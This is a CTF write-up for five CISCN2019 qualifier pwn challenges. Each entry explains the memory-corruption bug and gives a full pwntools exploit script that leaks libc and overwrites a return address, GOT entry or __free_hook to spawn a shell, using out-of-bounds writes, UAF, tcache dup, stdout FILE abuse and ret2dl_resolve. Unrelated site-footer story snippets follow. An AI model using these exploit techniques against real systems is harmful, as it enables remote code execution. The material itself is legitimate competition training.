CISCN2019 國賽線上初賽pwn

0x00 寫在前面

最后一次參加國賽了額肾档,無論隊(duì)伍能否走到?jīng)Q賽怒见,我都無緣參賽了,希望隊(duì)伍能走的更遠(yuǎn)吧闺阱。這次國賽比起前兩年的題目要簡(jiǎn)單的很多舵变,大部分題目都很基礎(chǔ)棋傍,漏洞點(diǎn)很明顯,利用思路也異常清晰亿絮。利用畢設(shè)的閑暇時(shí)間整理下writeup

0x01 your_pwn

  • 程序功能
    一直輸入name,以及數(shù)組中name對(duì)應(yīng)的index

  • 漏洞位置
    在功能函數(shù)中,再輸入index時(shí)沒有檢測(cè)其合法性五慈,導(dǎo)致在之后會(huì)有數(shù)組越界訪問的漏洞。

    功能函數(shù)

  • 利用思路
    雖然本題保護(hù)機(jī)制全開毙芜。

    checksec
    但通過合理利用數(shù)組越界可達(dá)到棧上任意地址讀寫的目的∫钢啵可以定點(diǎn)修改返回地址劫持程序控制流隘冲。
    第一步绑雄,通過任意地址讀绳慎,找到存在棧上的__libc_start_main + 240偏移后leaklibc基址杏愤。
    第二步已脓,找到棧上存的返回地址的偏移度液,并將其寫為one_gadget堕担。
    第三步,讓程序正常返回佑惠,劫持程序流到one_gadgetget shell膜楷。

  • my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' , 57856)#nc 1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com 57856

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):
    p.recvuntil('index\n')
    p.sendline(str(i))
    p.recvuntil('(hex) ')
    aa = p.recvuntil('\n')[:-1]
    if(len(aa) < 2):
        libc_leak += '0' + aa
    elif(len(aa) == 8):
        libc_leak += aa[-2:]
    else:
        libc_leak += aa
    p.recvuntil('value\n')
    p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address

#step2 overwrite EIP to one_gadget
for i in range(6):
    p.recvuntil('index\n')
    p.sendline(str(i + 344))
    p.recvuntil('value\n')
    p.sendline(str(ord(p64(one_gadget)[i])))

#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()

0x02 daily

  • 程序功能
    一個(gè)記錄日?qǐng)?bào)的日記本題目,可指定日?qǐng)?bào)的長(zhǎng)度和內(nèi)容贞奋,具有正常的增刪查改功能赌厅。

  • 漏洞位置
    remove功能中,由于沒有對(duì)輸入的index進(jìn)行檢查轿塔,會(huì)導(dǎo)致數(shù)組越界特愿,造成任意地址free仲墨。

    remove

  • 利用思路
    程序開了除PIE外所有的保護(hù)機(jī)制。

    checksec
    通過任意地址free揍障,直接free堆頭地址宗收,再利用bss留存的堆塊指針進(jìn)行UAF操作。
    第一步亚兄,正常利用unsort bin進(jìn)行堆基址和libc基址的leak混稽。
    第二步,利用任意地址free审胚,直接將布置好的堆塊freefastbin中匈勋。
    第三步洽洁,利用bss段留存的該堆塊指針,進(jìn)行fastbin attack昭雌,將bss段當(dāng)作堆塊申請(qǐng)。
    第四步妓局,通過申請(qǐng)到的bss段堆塊,將其余堆塊指針覆蓋為free_hook地址炬搭,并通過edit被覆蓋的堆塊索引,將free_hook寫為system地址飘言。
    第五步谆吴,通過free之前布置好的data'/bin/sh\x00'的對(duì)應(yīng)Headerget shell

  • my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com' , 58512)#nc 85c3e0fcae5e972af313488de60e8a5a.kr-lab.com 58512

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def show():
    p.recvuntil('choice:')
    p.sendline('1')
    raw = p.recvuntil('===')[:-4]
    return raw

def add(length , content):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('daily:')
    p.sendline(str(length))
    p.recvuntil('daily\n')
    p.sendline(content)

def change(index , content):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('daily:')
    p.sendline(str(index))
    p.recvuntil('daily\n')
    p.sendline(content)

def remove(index):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('daily:')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc&heap base
for i in range(5):
    add(0x80 , '\x00' * 0x5f)
debug()
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))

#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)

#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)

#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00')       #heap
add(0x30 , p64(free_hook))      #bss
change(1 , p64(system_addr))

#Get Ghell & Have Fun
remove(0)
p.interactive()

0x03 baby_pwn

  • 程序功能
    沒啥功能昔馋,就讓輸入個(gè)東西。

  • 漏洞位置
    vuln函數(shù)中存在由read導(dǎo)致的棧溢出漏洞洋侨。

    vuln

  • 利用思路
    程序?yàn)?strong>32位程序审丘,并且只開了NX保護(hù)機(jī)制。

    checksec
    由于整個(gè)程序中調(diào)用函數(shù)太少,缺少構(gòu)造ROP必要的函數(shù)可训,因此考慮采用ret2dl_resolveget shell烂叔。所以用了roptils

  • my-exp

from roputils import *

fpath = './pwn'
offset = 44

rop = ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

0x04 Double

  • 程序功能
    一個(gè)管理輸入datanote式程序胯努,含有增刪查改功能蒲讯,并且每次data由一個(gè)大小為0x18的結(jié)構(gòu)體管理,該結(jié)構(gòu)體數(shù)據(jù)結(jié)構(gòu)如下:
typedef struct Header{
    __int32 index;
    __int32 length;
    char* data;
    Header* next_Header;
}Header;
  • 漏洞位置
    在增加數(shù)據(jù)時(shí),如果前后兩次輸入的data完全一樣時(shí),會(huì)導(dǎo)致兩個(gè)Headercontent_ptr指向同一個(gè)地址踩麦,很容易造成UAF漏洞。

    add_data

  • 利用思路
    對(duì)于一道堆題來說幾乎沒有開什么保護(hù)機(jī)制。

    checksec
    由于got表可寫尤蒿,于是考慮最終將free_got修改為system()地址來get shell尾组。
    第一步,準(zhǔn)備通過兩個(gè)Header指向一個(gè)unsort bin大小的dataleak libc基址。
    第二步歹叮,構(gòu)造出一個(gè)0x18大小的堆塊既是Header又是data的布局。
    第三步窄做,利用Header2來修改Header3中的data字段掏颊,再通過編輯Header3data達(dá)到任意地址寫的目的,這里選擇將free_got修改為system()
    第四步,通過free之前布置好的data'/bin/sh\x00'的對(duì)應(yīng)Headerget shell葡公。
    堆布局大概如下圖所示溯乒。
    堆布局

  • my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./pwn')

def add(data):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('data:\n')
    p.sendline(data)

def show(index):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(index))
    return p.recvuntil('\n----')[:-5]

def edit(index , data):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(index))
    sleep(0.1)
    p.sendline(data)

def delete(index):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('index: ')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
add('a' * 0x17)         #0
add('a' * 0x17)         #1
delete(0)

add('a' * 0x7f)         #2
add('a' * 0x7f)         #3
add('/bin/sh\x00')      #4
delete(2)
libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78
system_addr = libc.symbols['system']
free_got = elf.got['free']
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
success('free_got => ' + hex(free_got))

#step2 use UAF to change free_got to system_addr
fake_header = p32(0x3) + p32(0x7f)
payload = fake_header + p64(free_got)
edit(1 , payload)
edit(3 , p64(system_addr))

#Get Shell & Have Fun
delete(4)
p.interactive()

0x05 bms

聽說遠(yuǎn)程是Tcache
......最近惡補(bǔ)了Tcache機(jī)制以及FILE結(jié)構(gòu)體后來看這道題就很容易了。

  • 程序功能
    進(jìn)入輸入管理員的密碼后肄方,是一個(gè)菜單類型的題目隅要,管理了一個(gè)book的結(jié)構(gòu)體,該結(jié)構(gòu)體數(shù)據(jù)結(jié)構(gòu)如下:
typedef struct Book{
    char[0x10] BookName;
    char* description;
    int length;
}

該結(jié)構(gòu)體的大小為0x20字節(jié),有adddelete兩個(gè)操作藻雌,程序有限制最多add10本書做个,description的大小最大不超過0xFF字節(jié)糯景。

  • 漏洞位置
    由于這道題當(dāng)時(shí)沒有給libc版本,默認(rèn)為2.23來看好像沒有什么漏洞怠惶,后來得知遠(yuǎn)程是2.26的版本,那就很有問題了:在進(jìn)行delete操作時(shí),并沒有檢查其description指向的堆塊是否已經(jīng)處于free的狀態(tài)。

    delete

    2.23版本時(shí)會(huì)直接報(bào)double free的錯(cuò)誤奄侠,無法利用垄潮;而在2.26版本中則可利用tcache dup的方法牡整。

  • 利用思路

    checksec

    這道題目除了PIE外其余保護(hù)機(jī)制全開沐扳,且本題目沒有任何輸入功能,沒有很明顯的leak地址的地方昼弟,因此考慮用FILE結(jié)構(gòu)體的任意寫來達(dá)到leak地址的目的旬盯,利用思路大概如下:
    首先胖翰,肯定是要通過逆向的到管理員密碼……
    第二步,利用delete功能中未檢查是否free的漏洞構(gòu)造tcache dup切厘;
    第三步萨咳,修改下一個(gè)tcache的地址為stdout,再add將其作為description指針申請(qǐng)回去疫稿;
    第四步培他,就是在description中偽造fake_FILE,順理成章地leaklibc基址而克。
    最后靶壮,就是故技重施tcache dup,修改free_hooksystem员萍,然后free/bin/sh\x00description

  • my-exp
from pwn import *

local = 1

if local:
    p = process('./pwn')
else:
    print 'time is up'

libc = ELF('libc-2.27.so')
elf = ELF('./pwn')

def check():
    p.recvuntil('username:')
    p.sendline('admin')
    p.recvuntil('password:')
    p.sendline('frame')

def add(name , length , description):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('book name:')
    p.sendline(name)
    p.recvuntil('size:')
    p.send(str(length))
    p.recvuntil('description:')
    sd(description)

def free(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

check()

#step1 use FILE structure to leak libc
add('0' , 0x50 , '0')
#tcache dup
free(0)
free(0)
stdout_addr = got('stdout')
add('1' , 0x50 , p64(stdout_addr))
add('2' , 0x50 , '2')
add('3' , 0x50 , '\x60')                            #stdout
#fake _IO_2_1_stdout
payload = p64(0xfbad1800) +  p64(0)  +   p64(0)   +   p64(0)     + p64(stdout_addr) + p64(stdout_addr + 8) + p64(stdout_addr + 8)
#          _flags           read_ptr    read_end    read_base        write_base           write_ptr                 write_end
add('4' , 0x50 , payload)                       #_IO_2_1_stdout
libc.address = u64(ru('done!')[:-5].ljust(8 , '\x00')) - 0x3ec760
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
suucess('system_addr => ' + hex(system))

#step2 overwrite __free_hook with system
add('5' , 0x40 , '5')
#tcache dup
free(5)
free(5)
add('6' , 0x40 , p64(free_hook))
add('7' , 0x40 , '/bin/sh\x00')
add('8' , 0x40 , p64(system_addr))

#Get Shell & Have Fun
free(7)
#debug()
p.interactive()

0x06 Virtual

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末腾降,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子碎绎,更是在濱河造成了極大的恐慌螃壤,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,427評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件筋帖,死亡現(xiàn)場(chǎng)離奇詭異奸晴,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)日麸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,551評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門寄啼,熙熙樓的掌柜王于貴愁眉苦臉地迎上來逮光,“玉大人,你說我怎么就攤上這事墩划√楦眨” “怎么了?”我有些...
    開封第一講書人閱讀 165,747評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵乙帮,是天一觀的道長(zhǎng)杜漠。 經(jīng)常有香客問我,道長(zhǎng)察净,這世上最難降的妖魔是什么驾茴? 我笑而不...
    開封第一講書人閱讀 58,939評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮氢卡,結(jié)果婚禮上锈至,老公的妹妹穿的比我還像新娘。我一直安慰自己异吻,他們只是感情好裹赴,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,955評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著诀浪,像睡著了一般棋返。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上雷猪,一...
    開封第一講書人閱讀 51,737評(píng)論 1 305
  • 那天睛竣,我揣著相機(jī)與錄音,去河邊找鬼求摇。 笑死射沟,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的与境。 我是一名探鬼主播验夯,決...
    沈念sama閱讀 40,448評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼摔刁!你這毒婦竟也來了挥转?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,352評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤共屈,失蹤者是張志新(化名)和其女友劉穎绑谣,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體拗引,經(jīng)...
    沈念sama閱讀 45,834評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡借宵,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,992評(píng)論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了矾削。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片壤玫。...
    茶點(diǎn)故事閱讀 40,133評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡豁护,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出垦细,到底是詐尸還是另有隱情择镇,我是刑警寧澤,帶...
    沈念sama閱讀 35,815評(píng)論 5 346
  • 正文 年R本政府宣布括改,位于F島的核電站,受9級(jí)特大地震影響家坎,放射性物質(zhì)發(fā)生泄漏嘱能。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,477評(píng)論 3 331
  • 文/蒙蒙 一虱疏、第九天 我趴在偏房一處隱蔽的房頂上張望惹骂。 院中可真熱鬧,春花似錦做瞪、人聲如沸对粪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,022評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽著拭。三九已至,卻和暖如春牍帚,著一層夾襖步出監(jiān)牢的瞬間儡遮,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,147評(píng)論 1 272
  • 我被黑心中介騙來泰國打工暗赶, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留鄙币,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,398評(píng)論 3 373
  • 正文 我出身青樓蹂随,卻偏偏與公主長(zhǎng)得像十嘿,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子岳锁,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,077評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 新手練習(xí) CGfsb 簡(jiǎn)單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,257評(píng)論 0 6
  • 網(wǎng)鼎杯第一場(chǎng)wp guess防護(hù)機(jī)制:image.png 開啟了canary和NX 簡(jiǎn)單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 1,988評(píng)論 0 4
  • pwntools簡(jiǎn)單語法 作為最好用的pwn工具绩衷,簡(jiǎn)單記一下用法: 連接:本地process()、遠(yuǎn)程remote...
    SueLyon閱讀 24,297評(píng)論 3 38
  • 一浸锨、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡(jiǎn)單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運(yùn)行的地址不確定 關(guān)于...
    SeanCST閱讀 7,815評(píng)論 0 27
  • 時(shí)間過得飛快唇聘,眨眼間一周就過去了!今天參加寫作訓(xùn)練訓(xùn)練營已經(jīng)一周的時(shí)間了柱搜,盤點(diǎn)一下自己的收獲吧迟郎! 希望你寫作是因?yàn)?..
    f15d57595d1c閱讀 321評(píng)論 0 0